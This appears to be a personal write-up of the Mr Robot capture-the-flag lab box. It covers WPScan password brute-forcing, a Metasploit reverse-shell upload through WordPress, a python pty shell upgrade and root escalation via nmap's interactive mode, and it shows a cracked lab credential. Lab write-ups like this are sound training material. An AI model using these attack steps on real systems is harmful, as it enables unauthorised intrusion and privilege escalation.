Mr Robot Vulnhub/TryHackMe

Based on the show, Mr. Robot.

This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.

Mr Robot CTF is available as either a vulnhub download VM or as a room on TryHackMe. I initially attacked this box while in chat with some friends but I am going through it again on TryHackMe for the purpose of this write up. I won’t be putting the keys in this write up. If you’d like to know the keys, following along and do the box for yourself!

I first deployed the box and was given the address We will do a simple nmap scan to find open ports.

22/tcp  closed ssh
80/tcp  open   http
443/tcp open   https

We can see a web server is running on the box. It’s a pretty cool Mr Robot site they’ve built, but there is nothing of interest to us on the actual site. We can do a quick dirsearch to see if we find anything interesting.

Two interesting things pop out pretty quickly: robots.txt and wp-login.php

User-agent: *

So we’ve found our first key, and a dictionary file of passwords. Time to brute force that wordpress login.

We can go to the wordpress login page and try a couple obvious user names to see if anything is a match. Admin, mrrobot, etc. Most names will give you the following error: ERROR: Invalid username. Lost your password?, but after trying the username ‘elliot’ you’ll be greeted with the following message: ERROR: The password you entered for the username elliot is incorrect. Lost your password?

This verifies that elliot is a valid username, and most likely the one we are looking to break. We can run sort and uniq on the password file to remove any duplicates, which takes it from over 800,000 entires down to around 11,000.

sort fsocity.dic | uniq > newfs.dic

We can now use WPScan to brute force the password, with the following command

wpscan --url -U elliot -P ./newfs.dic

[+] Performing password attack on Xmlrpc Multicall against 1 user/s
Progress Time: 00:00:00 <==============================================> (0 / 0) 100.0% Time: 00:00:00
[SUCCESS] - elliot / ER28-0652                                                                                                                             
All Found

We can now use metasploit to upload a reverse shell via a wordpress plugin using unix/webapp/wp_admin_shell_upload.

set PASSWORD ER28-0652
set USERNAME elliot

[*] Started reverse TCP handler on 
[-] Exploit aborted due to failure: not-found: The target does not appear to be using WordPress
[*] Exploit completed, but no session was created.

After stumbling with this a few times, a friend showed me a page discussing the same error and a possible solution. Setting WPCHECK to false will bypass verifying if it is a valid wordpress install.

Once into our meterpreter session, we can go to the home directory and find robot user directory. There we will find the following files.

100400/r--------  33    fil   2015-11-13 07:28:21 +0000  key-2-of-3.txt
100644/rw-r--r--  39    fil   2015-11-13 07:28:21 +0000  password.raw-md5

meterpreter > cat password.raw-md5

After cracking the password we can upgrade to the robot user using su.

su -l robot
su: must be run from a terminal

This is a common problem you might run into with meterpreter. We can upgrade our terminal using this simple python one-liner.

python -c 'import pty; pty.spawn("/bin/bash")'
$ su -l robot

We can now read key-2-of-3.txt and proceed to privesc for the third key. A quick check will show that an older version of nmap is installed on the system, and nmap runs with root privileges. We can start this version of nmap in an interactive shell, and then drop out to a root shell from there.

$ nmap --interactive

Starting nmap V. 3.81 ( )
Welcome to Interactive Mode -- press h  for help
nmap> !sh

We can now go to the root directory, where we will find key-3-of-3.txt and finish the box.

Overall this box was a lot of fun, and I learned a lot about using WPScan and solving difficulties with Metasploit exploits not working as expected. I also transitioned from Parrot back to Kali, as I’ve encountered numerous issues with things not working correctly in Parrot.